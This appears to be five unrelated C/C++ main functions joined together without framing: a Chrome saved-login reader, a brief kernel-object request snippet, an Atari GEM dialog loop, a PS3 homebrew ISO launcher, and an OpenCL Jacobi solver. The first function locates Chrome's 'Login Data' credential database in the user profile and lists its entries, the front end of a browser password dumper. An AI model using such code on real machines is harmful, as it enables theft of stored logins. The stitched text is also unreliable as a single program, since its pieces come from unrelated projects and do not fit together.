void main(int argc, char *argv[]) { std::string db_path; // if user doesn't provide filename, app will look in local profile if (argc > 1) { db_path = argv[1]; } else { CHAR lpszPath[MAX_PATH]; if (!SHGetSpecialFolderPath(NULL, lpszPath, CSIDL_LOCAL_APPDATA, FALSE)) { exit_app("Unable to determine \"Local Settings\" folder"); } // this path is probably different for older versions db_path = lpszPath; db_path += "\\Google\\Chrome\\User Data\\Default\\Login Data"; // ensure file exists if (GetFileAttributes(db_path.c_str()) == INVALID_FILE_ATTRIBUTES) { printf(" Couldn't open \"%s\"", db_path.c_str()); } else { list_entries(db_path); } } exit_app(""); }
void _start() { printf("Starting the new process\n"); uint64_t handle = get_object("NEW_OBJECT"); printf("The returned handle : %llx\n", handle); object_request(handle, (void *)0x10000); printf("Completed our request\n"); exit_app(); }
int16 main(void) { GRECT n = {0,0,0,0}; GRECT r1; EVNTDATA ev; int16 bclicks, bmask, bstate; boolean leave; quit = FALSE; debug_init("MControl", null, NULL); init_app("mcontrol.rsc"); init_rsrc(); init_conf(); init_dial(); init_comm(); init_beta(); /* Callback f�r modale Fensterdialoge, Fenster-Alerts usw. */ set_mdial_wincb(handle_msg); graf_mkstate( &ev ); wdial_hover( ev.x, ev.y, &r1, &leave ); while (!quit) { mbutton = 0; if( !((ev.bstate) & 3) ) bclicks = 258; else bclicks = 0; bmask = 3; bstate = 0; event = evnt_multi( MU_BUTTON|MU_M1|MU_MESAG|MU_KEYBD, bclicks, bmask, bstate, leave, &r1, 0, &n, msg, 0l, &ev, &kreturn, &mclick ); msx = ev.x; msy = ev.y; mbutton = ev.bstate; kstate = ev.kstate; if (event & MU_MESAG) { if( msg[0] == WM_MOVED ) wdial_hover( msx, msy, &r1, &leave ); handle_msg(msg); } if (event & MU_BUTTON) { if( mbutton == 2 ) menu_context( msx, msy ); else if (!click_wdial(mclick, msx, msy, kstate, mbutton)) ; } if (event & MU_M1) wdial_hover( msx, msy, &r1, &leave ); if (event & MU_KEYBD) { int16 title, item; if (is_menu_key(kreturn, kstate, &title, &item)) handle_menu(title, item); else { key_wdial(kreturn, kstate); key_sdial(kreturn, kstate); } } } exit_comm(); exit_dial(); exit_rsrc(); debug_exit(); exit_app(0); return 0; }
int main(int argc, char* argv[]) { init_log(); (void)argc; (void)argv; // [cobralib] unmount iso / eject cobra_send_fake_disc_eject_event(); cobra_umount_disc_image(); // Check if isolist.self is launching this app... FILE* fp_flag = fopen("/dev_hdd0/game/SISO00123/USRDIR/isolist_finished", "r"); if(fp_flag) { // load normally... fclose(fp_flag); *&fp_flag = NULL; // remove the launch flag... cellFsUnlink("/dev_hdd0/game/SISO00123/USRDIR/isolist_finished"); } else { // generate ISO list... sys_game_process_exitspawn((char*)ISOLIST_SELF, NULL, NULL, NULL, 0, 1000, SYS_PROCESS_PRIMARY_STACK_SIZE_1M); } if(!LoadModules()) { // error... (void)exit_app(); return 0; } // setup sys callback if(cellSysutilRegisterCallback(0, callback_sysutil_exit, NULL) != CELL_OK) { // error... (void)exit_app(); return 0; } InputInit(); if(InitPSGLVideo(device, context, screen_width, screen_height, render_width, render_height)) { // clear vid on startup (void)render(true); // init font if(!font_init(render_width, render_height)) { bRun = false; } // init app core modules, ftp, settings, etc... if(!init_core()) { bRun = false; } // loop while(bRun) { cellSysutilCheckCallback(); (void)input(); (void)render(false); } } else { // error msg here... } (void)exit_app(); return 0; }
/************************************************************************** Function: main This is the main control flow for the example. After reading and verifying the command line arguments, MPI is initialized. Depending on which option is chosen one of 3 computations are called for analytical, Jacobi iteration using OpenCL, or Jacabo iteration using host and no OpenCL. After the computation is complete, a bitmap representation of the final array is stored in a PPM format file. **************************************************************************/ int main(int argc, char *argv[]) { /* size of matrices for iteration - input parameter */ size_t mat_size[DIMENSIONS] = { DEFAULT_NODES, DEFAULT_NODES }; /* size of OpenCL workblock in each dimension - input parameter */ size_t block_size[DIMENSIONS] = { DEFAULT_BLOCK, DEFAULT_BLOCK }; /* my cartesian position in MPI space */ int my_position[DIMENSIONS] = { 0, 0 }; /* size of matrix for each rank */ size_t rank_size[DIMENSIONS] = {SIZE, SIZE}; /* size of the array needed */ size_t array_size = 100; /* discretion size in each dimension assuming a unit square */ value_type d[DIMENSIONS]; /* maximum number of iterations */ unsigned int max_iter = MAX_ITERATIONS; /* boolean for full copy of buffer or just ghost cells */ unsigned int full_copy = 0; /* boolean for verificaton against reference implementation */ unsigned int verify = 0; /* OpenCL device type - input parameter can override this */ cl_device_type dev_type = CL_DEVICE_TYPE_GPU; /* print welcome message */ printf("A simple %dD iterative Jacobi solver", DIMENSIONS); /* calculate size of each node in the unit square plate */ d[X] = (value_type)(1.0 / (mat_size[X]+1)); d[Y] = (value_type)(1.0 / (mat_size[Y]+1)); /* flush output before starting the compute */ fflush(stdout); /* calculate size of array and allocate the memory */ /* size is 2 bigger to account for "ghost cells" and/or boundaries */ /* exit_app takes care of cleaning up u */ array_size = sizeof(value_type) * (rank_size[X]+2*GHOST_CELL_WIDTH) * (rank_size[Y]+2*GHOST_CELL_WIDTH); u[OLD] = (value_type *)malloc(array_size); u[NEW] = (value_type *)malloc(array_size); /* At this point the main computation can occur. For the purposes of this example * we are using a simple Jacobi iteration technique. This converges very slowly. */ /* compute the exact solution, result in u[NEW] */ if (EXACT_CALC == (signed int)dev_type) { printf("Calculating solution using analytical formula.\n"); exact_compute(u[NEW], rank_size, d); } else if (REFERENCE_CALC == (signed int)dev_type) { /* compute solution using reference implementation, result in u[NEW] */ printf("Estimating solution using Jacobi reference implementation.\n"); reference_jacobi(u, max_iter, rank_size, DEFAULT_TOLERANCE, d); /* compute solution using OpenCL kernel, result in u[NEW] */ } else { ocl_jacobi(u, max_iter, rank_size, DEFAULT_TOLERANCE, d, block_size, dev_type, full_copy); } /* print solution */ print_array("Solve", u[NEW], rank_size, d); /* perform verification if required */ if (verify) { unsigned int i, j, ystride; value_type max_diff = 0.0; /* allocate for verification matrices */ v[OLD] = (value_type *)malloc(array_size); v[NEW] = (value_type *)malloc(array_size); /* compute verfication solution, result in v[NEW] */ printf("Starting verification using Jacobi reference implementation.\n"); reference_jacobi(v, max_iter, rank_size, DEFAULT_TOLERANCE, d); /* compute array differences and store in v[OLD] */ for (i=0; i<rank_size[X]+2*GHOST_CELL_WIDTH; ++i) { /* convenience for y stride in array */ ystride = rank_size[Y]+2*GHOST_CELL_WIDTH; for (j=0; j<ystride; ++j) { /* calculate difference and update maximum difference */ v[OLD][i * ystride + j] = v[NEW][i * ystride + j] - u[NEW][i * ystride + j]; max_diff = (value_type)fmax(max_diff, fabs(v[OLD][i * ystride + j])); } } /* output differences */ print_array("Verify Diff", v[OLD], rank_size, d); printf("Verification complete, max difference with reference implemention is %0.5f.\n", max_diff); /* return error code if max difference is too large */ if (max_diff > 0.0001) { QUIT("Error: max difference greater than required tolerance.\n"); } } /* save bitmap of computation */ save_bitmap(u[NEW], rank_size); /* deallocate arrays and finish use of MPI */ exit_app(0); return 0; }